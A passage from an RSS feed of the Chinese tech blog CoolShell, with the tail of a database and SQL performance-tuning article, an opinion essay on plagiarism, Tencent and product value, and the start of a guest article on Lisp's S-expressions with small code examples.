style=\"padding-left: 60px;\">\n<ul>\n<li>嵌套循环，就好像是我们常见的多重嵌套循环。注意，前面的索引说过，数据库的索引查找算法用的是B-Tree，这是O(log(n))的算法，所以，整个算法复法度应该是O(log(n)) * O(log(m)) 这样的。</li>\n<li>Hash式的Join，主要解决嵌套循环的O(log(n))的复杂，使用一个临时的hash表来标记。</li>\n<li>排序归并，意思是两个表按照查询字段排好序，然后再合并。当然，索引字段一般是排好序的。</li>\n</ul>\n</ul>\n<p style=\"padding-left: 60px;\">还是那句话，具体要看什么样的数据，什么样的SQL语句，你才知道用哪种方法是最好的。</p>\n<ul>\n<li><strong>部分结果集。</strong>我们知道MySQL里的Limit关键字，Oracle里的rownum，SQL Server里的Top都是在限制前几条的返回结果。这给了我们数据库引擎很多可以调优的空间。一般来说，返回top n的记录数据需要我们使用order by，注意在这里我们需要为order by的字段建立索引。有了被建索引的order by后，会让我们的select语句的性能不会被记录数的所影响。使用这个技术，一般来说我们前台会以分页方式来显现数据，Mysql用的是OFFSET，SQL Server用的是FETCH NEXT，这种Fetch的方式其实并不好是线性复杂度，所以，如果我们能够知道order by字段的第二页的起始值，我们就可以在where语句里直接使用&gt;=的表达式来select，这种技术叫seek，而不是fetch，seek的性能比fetch要高很多。</li>\n</ul>\n<ul>\n<li><strong>字符串</strong>。正如我前面所说的，字符串操作对性能上有非常大的恶梦，所以，能用数据的情况就用数字，比如：时间，工号，等。</li>\n</ul>\n<ul>\n<li><strong>全文检索</strong>。千万不要用Like之类的东西来做全文检索，如果要玩全文检索，可以尝试使用<a href=\"http://sphinxsearch.com/\" target=\"_blank\">Sphinx</a>。</li>\n</ul>\n<ul>\n<li><strong>其它</strong>。\n<ul>\n<li>不要select *，而是明确指出各个字段，如果有多个表，一定要在字段名前加上表名，不要让引擎去算。</li>\n<li>不要用Having，因为其要遍历所有的记录。性能差得不能再差。</li>\n<li>尽可能地使用UNION ALL  取代  UNION。</li>\n<li>索引过多，insert和delete就会越慢。而update如果update多数索引，也会慢，但是如果只update一个，则只会影响一个索引表。</li>\n<li>等等。</li>\n</ul>\n</li>\n</ul>\n<p>关于SQL语句的优化，网上有很多文章， 不同的数据库引擎有不同的优化技巧，正如本站以前转发的《<a href=\"https://coolshell.cn/articles/1846.html\" rel=\"bookmark\">MySQL性能优化的最佳20+条经验</a>》</p>\n<p>先写这么多吧，欢迎大家指正补充。</p>\n<blockquote><p><strong>注：</strong>这篇文章的确是个大杂烩。其实其中的说到的很多技术在网上都有很多很多的技术文章，google一下就能找到一堆有很多细节的文章，所以我也就不写了。这篇性能调优的文章写作的动机是之前看到 <a href=\"http://weibo.com/n/%E6%B7%98%E5%AE%9D%E8%A4%9A%E9%9C%B8\">@淘宝褚霸</a> 强推的<a href=\"http://highscalability.com/\">highscalability.com</a>上的这篇文章：<a href=\"http://highscalability.com/blog/2012/5/16/big-list-of-20-common-bottlenecks.html\" target=\"_blank\">Big List Of 20 Common Bottlenecks</a>，觉得这篇文章泛泛而谈，觉得自己能写得比它好，所以就产生了动机。</p></blockquote>\n<p>（<span style=\"color: #cc0000;\"><strong>转载时请注明作者和出处，请勿用于商业用途</strong></span>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" alt=\"HTTP的前世今生\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_title\">HTTP的前世今生</a></li><li ><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" alt=\"Alan Cox：单向链表中prev指针的妙用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_title\">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7490.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>171</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>抄袭，腾讯 和 产品</title>\n\t\t<link>https://coolshell.cn/articles/7617.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7617.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 13 Jun 2012 00:35:31 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Apple]]></category>\n\t\t<category><![CDATA[C2C]]></category>\n\t\t<category><![CDATA[QQ]]></category>\n\t\t<category><![CDATA[腾讯]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7617</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>很早就想写这篇文章了，只是想法比较零碎，所以一直没有成文，这两天觉得思考得比较成熟了一些，所以把我的这些想法整理下来，欢迎大家一起和我讨论。 鄙视抄袭和山寨 首...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7617.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7617.html\">抄袭，腾讯 和 产品</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-7620\" title=\"i hate copycat!\" src=\"https://coolshell.cn/wp-content/uploads/2012/06/i-hate-copycat-296x300.png\" alt=\"\" width=\"296\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/06/i-hate-copycat-296x300.png 296w, https://coolshell.cn/wp-content/uploads/2012/06/i-hate-copycat-267x270.png 267w, https://coolshell.cn/wp-content/uploads/2012/06/i-hate-copycat.png 395w\" sizes=\"(max-width: 296px) 100vw, 296px\" />很早就想写这篇文章了，只是想法比较零碎，所以一直没有成文，这两天觉得思考得比较成熟了一些，所以把我的这些想法整理下来，欢迎大家一起和我讨论。</p>\n<h4>鄙视抄袭和山寨</h4>\n<p>首先，先表达我的立场，我对抄袭的立场持BS和痛恨的态度，尤其是<a title=\"中国的C2C模式\" href=\"https://coolshell.cn/articles/3820.html\" target=\"_blank\">那些C2C的网站</a>，痛恨这些国外有什么就山寨什么的做法，尤其是那些连界面都不改，像素级的抄袭，连CSS和img都是一样的，更甚者，连图片都链接到抄袭源的网站去了，连源代码都抄的行为，比如：<a href=\"http://weibo.com/1661751144/yjLfJqMZ6\" target=\"_blank\">腾讯抄新浪的代码</a>，<a href=\"http://yuanxing.iteye.com/blog/638129\" target=\"_blank\">新浪抄twitter的源码</a>。无法不BS之。</p>\n<p>有很多网友邀请我去那个抄袭Quora的网站上去回答问题，借此，再次声明我不会去的。因此，有一些网友说，我不一样也在Twitter的抄袭网站新浪微博上吗？说我装逼了。我想说，新浪和Twitter基本上是同一种产品的思路，但是其实现不一样，新浪微博上一些twitter上没有功能，我个人觉得这并不算抄袭，我甚至认为新浪微博和Twitter各有长处，在一些功能上新浪微博比twitter做得更好。你可以理解为，新浪微博总体上来说并没有突破我心中的那个条抄袭的底线。</p>\n<p>我个人对抄袭的理解如下：</p>\n<p style=\"padding-left: 30px;\">1）你可以复制别人的想法和功能，但是如果你连界面设计，代码，图片，风格，布局，等等所有的一切都照抄，那我就一定要鄙视你。</p>\n<p style=\"padding-left: 30px;\">2）你可以仿照别人的产品，但是你的出发点应该是他没做好，我来把它把做好，如果你的出发点是为了复制抄袭和山寨，我一样鄙视。</p>\n<p>所以，你可以理解我为什么不去Quora，Stackoverflow，Facebook，Google的山寨网站了，因为上述两点，1）完全复制，2）山寨地太次。</p>\n<h4>理性对待抄袭</h4>\n<p>因为很多朋友极端地理解了我对抄袭的立场，所以我有必要要说说我对“抄袭”或是“模仿”的其它一些观点：</p>\n<p><span id=\"more-7617\"></span></p>\n<p><strong>1）“抄袭想法”</strong>。想法这个东西我不觉是有什么专有的东西，也不存在什么抄袭，好的想法，就不应该被垄断，好的想法是应该放出来让大家一起来实现的。所以，我并不觉得一个想法有什么不能被抄袭的。你做Web Server，我也做Web Server，你做论坛，我也做论坛，你做手机，我也做手机，你做便携电脑，我也做便携电脑，你做通讯软件，我也可以做通讯软件…… 等等，越是优秀的产品和思路，就越不可能不被别人学习和模仿的。</p>\n<p><strong>2）“抄袭界面”</strong>。根据法律来说，界面上的某些元件，如菜单，按钮，甚至布局，配色之类的单一的东西是没有版权的，但是这些东西组成的界面是存在版权的，你不能让你的产品界面和别人的界面长得雷同。而且，对于一些有艺术特征的设计和版式是受法律保护的。所以，对于界面来说，我们需要做一些区别，比如，很多电视机长得很相似，连摇控器都很相似，但是电视其中的菜单和功能会有不同；很多的家用小汽车形状都很相似，但是线条和外形并不相似；Unix和Linux的用户接口几乎一样，但是Unix和Linux的内部实现和功能上有很大的不同（比如文件系统，内核管理等），MacOS/Windows/X-Win/Gnome/KDE 这些桌面系统大同，但是实现和细节上又不一样。</p>\n<p>看我这样一说，你会说，嗯，你说的就是所谓的“微创新”！是的，这是个仁者见仁，智者见智的问题了。再说一遍，无所谓什么微创新不微创新，我对此的价值观很简单  —— <strong>只要你这个复制品在不违反法律的层面上，能在品质上超过原来那个产品，我是会认可的，而且还是会对复制品买帐的</strong>。</p>\n<p>总之，我想说的是——</p>\n<p style=\"padding-left: 30px;\">1）好的东西总是会让人去学习和仿制的，而学习和仿制好的一面是会引入竞争，竞争会让这个东西更好的。</p>\n<p style=\"padding-left: 30px;\">2）不要害怕被人仿制，被人仿制说明你做得好，如果你的仿冒者超过了你，那你应该反思自己，而不要赖别人。</p>\n<h4>如何不被腾讯抄袭</h4>\n<p>说起抄袭这个事来，就不得不说腾讯，现在互联网上一堆人都在思考，腾讯太变态，无论我做什么，都逃不出他的魔掌。很多风投都在问创业团队一个问题——“如果腾讯抄你，你怎么办？”。</p>\n<p>在我往下阐述如何不被腾讯抄的话题下，请让我先重申一下我在“<a title=\"腾讯，竞争力 和 用户体验\" href=\"https://coolshell.cn/articles/5901.html\" target=\"_blank\">腾讯，竞争力 和 用户体验</a>”一文中说的那个观点：“<em>腾讯这样大规模的抄袭和山寨，对整个社会的价值就是——会让很多很多的创业团队放弃Copy，甚至让他们要放弃那些容易被复制的“业务型的项目”，而逼着他们去努力思考，如何才不能被腾讯复制，如何才能有自己的核心价值</em>”，我把这个观点再进一步阐述，“<strong>有腾讯在，会让你更清楚地认识什么叫创业的残酷，会让你更清楚认识到什么是真正产品的价值，什么是核心竞争力，你但凡有一点急功近利的想法你都要想一想那个有钱有人有势也很急功近利的企鹅！</strong>”</p>\n<p>我不知道，我写了那篇文章这段时间来，大家有没有思考过前边文章里我说的问题？其实我在“<a title=\"腾讯，竞争力 和 用户体验\" href=\"https://coolshell.cn/articles/5901.html\" target=\"_blank\">腾讯，竞争力 和 用户体验</a>”一文中已经说到过一些了，不知道大家有没有去思考？</p>\n<p>老实说，其实腾讯并不可怕，先让我们来分析一下腾讯的特征和短板：</p>\n<ul>\n<li><strong>特征</strong>。腾讯的很多产品线完全雷同，比如：QQ，微信，空间，群，微博，朋友，等等，几乎完全一样，所以，这是不是说明了下面几个问题：</li>\n</ul>\n<p style=\"padding-left: 60px;\">1）他们人太多，没事干了，所以什么都干。<br />\n2）各产品线为了规避风险都想伴QQ这个大款，所以不知道怎么创新。<br />\n3）内部竞争激烈，技术团队加班赶工，所以只能无目的地广撒网了。</p>\n<ul>\n<li><strong>短板</strong>。你看看腾讯的这些产品线和他的用户群，我觉得就目前阶段，腾讯至少有三种产品复制不出来。</li>\n</ul>\n<p style=\"padding-left: 60px;\">1）有烦杂的线下业务的产品。比如：电子商务需要供应商，仓库，物流，等这样物理流程的业务很难复制。<br />\n2）有质量，有价值，有权威的社区。比如，豆瓣，Stackoverflow，Quora这样的有价值的社区。<br />\n3）有技术含量的产品，比如： Nginx，MySQL，Android/iOS 之流技术大于业务的产品。</p>\n<p>通过这样的分析，我想告诉大家，<strong>腾讯并不可怕，可怕的是你自己不会思考和观察，可怕的是你急功近利而没有去找有价值的东西来做</strong>。推而广之，如果你想做的东西是很快就能做出来的，那么你就不要指望不被人抄，也就是说，<strong><span style=\"color: #cc0000;\">如果你着眼短期，你无疑会面对众多的抄袭和模仿者让你万劫不复，但是，如果你着眼长期，做一个3-5年需要花费大量精力才会成熟的产品，那么，那些急功近利的抄袭者会知难而退的</span></strong>。因为，“需要3-5年的时间”这一条完全不符合抄袭者的价值观，所以，你面对的竞争对手也会少了9成。</p>\n<h4>什么是真正的产品</h4>\n<p>说到这里，我必需要说一下什么是真正的产品！我看到现在很多创业团队把功能当产品来做，这就为模仿者们留下了很多很多机会，比如苹果商店里的很多照片分享的Apps，或是一些云存读，云分享之类的东西，如：Dropbox和Evernote，或是一些旅游类的Apps。这些东西在我眼里还不能算得上是真正的产品，所以，我们可以看到他们的模仿者有很多很多。当然，我并不是说不能把功能当成产品来做，只是我觉得这样的产品并不长久，并不具强大的可持续性，而且很容易被取代。那怕是现在风头正劲的Instgram, Dropbox, Evernote，大家试想一下，如果哪天Apple或是Canon把Instgram这样的功能集成到他的照相功能中，哪天操作系统把Dropbox/Evernote集成到他的操作系统中。（当然，我只是说有这种可能，我只是想让大家思考一下以功能为产品的弱势是什么样的）</p>\n<p>好，让我来说说什么是真正的产品：</p>\n<ul>\n<li><strong>真正的产品应该是有一个端到端的一个解决方案</strong>。比如说：电子阅读中的从购书，到阅读，再到阅读心得分享，再到推荐，这一整套的解决方案。看看苹果的产品的端到端的解决方案，就知道什么是产品的样子了。</li>\n</ul>\n<ul>\n<li><strong>真正的产品应该是有价值的</strong>。这种价值表现在——你可以从中获得有价值的内容，并且你也可以通过他创造对你有价值的东西。比如，像豆瓣，像Stackoverflow，甚至像Twitter和微博这样让信息平等让信息传递更快的社区，或是像AWS或是Apple的开发平台，等等。可见，我们无法通过QQ获得有价值的东西，我们也无法通过QQ创造有价值的东西。</li>\n</ul>\n<ul>\n<li><strong><strong>真正的产品应该是和社会有交互并能自我进化的</strong>。</strong>真正的产品应该是用户会来贡献有价值的内容，真正的产品应该是有开放的接口让其它系统容易集成的。也就是说，真正的产品应该是有一个生态圈的，在这个生态圈内，不但能自给自足，自我循环，还能自我管理，自我进化。可见，腾讯的用户群完全没有为这个平台贡献什么有价值的东西，更不谈他们会帮腾讯来进化了。</li>\n</ul>\n<ul>\n<li><strong>真正的产品应该是体现品质的</strong>。所谓有品质的意思是，你能从使用这个产品中获得一种感觉，一种档次的提升的感觉。你可以认为使用品牌而非山寨的智能手机，使用一些如Thinkpad或MacBook的笔记本电脑或iPad，因为那是一种品质的体现。但是我们都知道，使用QQ完全没有任何品质的感觉，你不会在你的简历中放上QQ号，你也不会在一些商务场合使用QQ的，不是吗？这就好像请客吃饭一样，你总是会请你的朋友去一些有品质的饭馆而不是拉面馆。</li>\n</ul>\n<p>当你把你的产品目标放在这样高的位置上，你不难发现，一来，仿冒者们无法跟上你的跟步，二来，仿冒者们几乎没有办法来复制。因为，他们只能复制到外表，但永远无法复制到产品的精髓。</p>\n<p>还是那句话，<strong>因为仿冒者们急功近利的基因就决定了他们做不到抄袭。因为QQ用户群的基因也决定了腾讯无法复制豆瓣或Stackoverflow</strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5901.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"腾讯，竞争力 和 用户体验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5901.html\" class=\"wp_rp_title\">腾讯，竞争力 和 用户体验</a></li><li ><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"如何设计“找回用户帐号”功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_title\">如何设计“找回用户帐号”功能</a></li><li ><a href=\"https://coolshell.cn/articles/5966.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"腾讯帐号申诉的用户体验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5966.html\" class=\"wp_rp_title\">腾讯帐号申诉的用户体验</a></li><li ><a href=\"https://coolshell.cn/articles/11112.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/apple_goto_fail-150x150.png\" alt=\"由苹果的低级Bug想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11112.html\" class=\"wp_rp_title\">由苹果的低级Bug想到的</a></li><li ><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" alt=\"做个环保主义的程序员\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_title\">做个环保主义的程序员</a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7617.html\">抄袭，腾讯 和 产品</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7617.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>243</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Lisp的永恒之道</title>\n\t\t<link>https://coolshell.cn/articles/7526.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7526.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Mon, 04 Jun 2012 00:58:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Lisp]]></category>\n\t\t<category><![CDATA[面向语言编程]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7526</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【感谢 Todd投递本文 – 微博帐号：weidagang 】 Lisp之魅 长久以来，Lisp一直被许多人视为史上最非凡的编程语言。它不仅在50多年前诞生的时...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7526.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7526.html\">Lisp的永恒之道</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>【<span style=\"color: #cc0000;\">感谢 Todd投递本文 – 微博帐号：</span><a title=\"weidagang\" href=\"http://weibo.com/weidagang\" target=\"_blank\">weidagang</a> 】</p>\n<h4>Lisp之魅</h4>\n<p>长久以来，Lisp一直被许多人视为史上最非凡的编程语言。它不仅在50多年前诞生的时候带来了诸多革命性的创新并极大地影响了后来编程语言的发展，即使在一大批现代语言不断涌现的今天，Lisp的诸多特性仍然未被超越。当各式各样的编程语言摆在面前，我们可以从运行效率、学习曲线、社区活跃度、厂商支持等多种不同的角度进行评判和选择，但我特别看中的一点在于语言能否有效地表达编程者的设计思想。学习C意味着学习如何用过程来表达设计思想，学习Java意味着学习如何用对象来表达设计思想，而虽然Lisp与函数式编程有很大的关系，但学习Lisp绝不仅仅是学习如何用函数表达设计思想。实际上，<strong>函数式编程并非Lisp的本质</strong>，在已经掌握了lambda、高阶函数、闭包、惰性求值等函数式编程概念之后，学习Lisp仍然大大加深了我对编程的理解。<strong>学习Lisp所收获的是如何“自由地”表达你的思想</strong>，这正是Lisp最大的魅力所在，也是这门古老的语言仍然具有很强的生命力的根本原因。</p>\n<h4>Lisp之源</h4>\n<p>Lisp意为表处理(List Processing)，源自设计者John McCarthy于1960年发表的一篇论文《符号表达式的递归函数及其机器计算》。McCarthy在这篇论文中向我们展示了用一种简单的数据结构S表达式(S-expression)来表示代码和数据，并在此基础上构建一种完整的语言。Lisp语言形式简单、内涵深刻，Paul Graham在《Lisp之根源》中将其对编程的贡献与欧几里德对几何的贡献相提并论。</p>\n<h4>Lisp之形</h4>\n<p>然而，与数学世界中简单易懂的欧氏几何形成鲜明对比，程序世界中的Lisp却一直是一种古老而又神秘的存在，真正理解其精妙的人还是少数。从表面上看，Lisp最明显的特征是它“古怪”的S表达式语法。S表达式是一个原子(atom)，或者若干S表达式组成的列表(list)，表达式之间用空格分开，放入一对括号中。“列表“这个术语可能会容易让人联想到数据结构中的链表之类的线形结构，实际上，Lisp的列表是一种可嵌套的树形结构。下面是一些S表达式的例子:</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nfoo\n\n()\n\n(a b (c d) e)\n\n(+ (* 2 3) 5)\n\n(defun factorial (N)\n    (if (= N 1)\n        1\n        (* N (factorial (- N 1)))\n    )\n)\n</pre>\n<p><span id=\"more-7526\"></span></p>\n<p>据说，这个古怪的S表达式是McCarthy在发明Lisp时候所采用的一种临时语法，他实际上是准备为Lisp加上一种被称为M表达式(M-expression)的语法，然后再把M表达式编译为S表达式。用一个通俗的类比，S表达式相当于是JVM的字节码，而M表达式相当于Java语言，但是后来Lisp的使用者都熟悉并喜欢上了直接用S表达式编写程序，并且他们发现S表达式有许多独特的优点，所以M表达式的引入也就被无限期延迟了。</p>\n<p>许多Lisp的入门文章都比较强调Lisp的函数式特性，而我认为这是一种误导。真正的Lisp之门不在函数式编程，而在S表达式本身，Lisp最大的奥秘就藏在S表达式后面。S表达式是Lisp的语法基础，语法是语义的载体，形式是实质的寄托。<strong>“S表达式”是程序的一种形，正如“七言”是诗的一种形，“微博”是信息的一种形</strong>。正是形的不同，让微博与博客有了质的差异，同样的道理，正是S表达式让Lisp与C、Java、SQL等语言有了天壤之别。</p>\n<h4>Lisp之道</h4>\n<p>一门语言能否有效地表达编程者的设计思想取决于其抽象机制的语义表达能力。根据抽象机制的不同，语言的抽象机制形成了面向过程、面向对象、函数式、并发式等不同的范式。当你采用某一种语言，基本上就表示你已经“面向XXX“了，你的思维方式和解决问题的手段就会依赖于语言所提供的抽象方式。比如，采用Java语言通常意味着采用面向对象分析设计；采用Erlang通常意味着按Actor模型对并发任务进行建模。</p>\n<p>有经验的程序员都知道，无论是面向XXX编程，程序设计都有一条“抽象原则“：What与How解耦。但是，<strong>普通语言的问题就在于表达What的手段非常有限</strong>，无非是过程、类、接口、函数等几种方式，而诸多领域问题是无法直接抽象为函数或接口的。比如，你完全可以在C语言中定义若干函数来做到make file所做的事情，但C代码很难像make file那样声明式地体现出target、depends等语义，它们只会作为实现细节被淹没在一个个的C函数之中。采用OOP或是FP等其它范式也会遇到同样的困难，也就是说make file语言所代表的抽象维度与面向过程、OOP以及FP的抽象维度是正交的，使得各种范式无法直接表达出make file的语义。这就是普通语言的“刚性”特征，它要求我们必须以语言的抽象维度去分析和解决问题，把问题映射到语言的基本语法和语义。</p>\n<p>更进一步，如果仔细探究这种刚性的根源，我们会发现正是由于普通语言<strong>语法和语义的紧耦合</strong>造成了这种刚性。比如，C语言中printf(&#8220;hello %s&#8221;, name)符合函数调用语法，它表达了函数调用语义，除此之外别无他义；Java中interface IRunnable { &#8230; }符合接口定义语法，它表达了接口定义语义，除此之外别无他义。如果你认为“语法和语义紧耦合“是理所当然的，看不出这有什么问题，那么理解Lisp就会让你对此产生更深的认识。</p>\n<p>当你看到Lisp的(f a (b c))的时候，你会想到什么？会不会马上联想到函数求值或是宏扩展？就像在C语言里看到gcd(10, 15)马上想到函数调用，或者在Java里看到class A马上想到类定义一样。如果真是这样，那它就是你理解Lisp的一道障碍，因为你已经习惯了顺着语言去思考，总是在想这一句话机器怎么解释执行？那一句话又对应语言的哪个特性？理解Lisp要反过来，让语言顺着你，Lisp的(f a (b c))可以是任何语义，完全由你来定，它可以是函数定义、类定义、数据库查询、文件依赖关系，异步任务的执行关系，业务规则 &#8230;</p>\n<p>下面我准备先通过几个具体的例子逐步展示Lisp的本质。需要说明的是，由于Lisp的S表达式和XML的语法形式都是一种树形结构，在语义表达方面二者并无本质的差别。所以，为了理解方便，下面我暂且用多数人更为熟悉的XML来写代码，请记住我们可以很轻易地把XML代码和Lisp代码相互转换。</p>\n<p>首先，我们可以轻易地用XML来定义一个求两个数最大公约数的函数：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n    &lt;func name=&#039;gcd&#039; return_type=&#039;int&#039;&gt;\n        &lt;params&gt;\n            &lt;a type=&#039;int&#039;/&gt;\n            &lt;b type=&#039;int&#039;/&gt;\n        &lt;/params&gt;\n        &lt;body&gt;\n            &lt;if&gt;\n               &lt;equals&gt;\n                   &lt;a/&gt;\n                   &lt;int&gt;0&lt;/int&gt;\n               &lt;/equals&gt;\n            &lt;/if&gt;\n            &lt;then&gt;\n                &lt;return&gt;&lt;b/&gt;&lt;/return&gt;\n            &lt;/then&gt;\n            &lt;else&gt;\n                &lt;return&gt;\n                    &lt;gcd&gt;\n                        &lt;modulo&gt;&lt;b/&gt;&lt;a/&gt;&lt;/modulo&gt;\n                        &lt;a/&gt;\n                    &lt;/gcd&gt;\n                &lt;/return&gt;\n            &lt;/else&gt;\n        &lt;/body&gt;\n    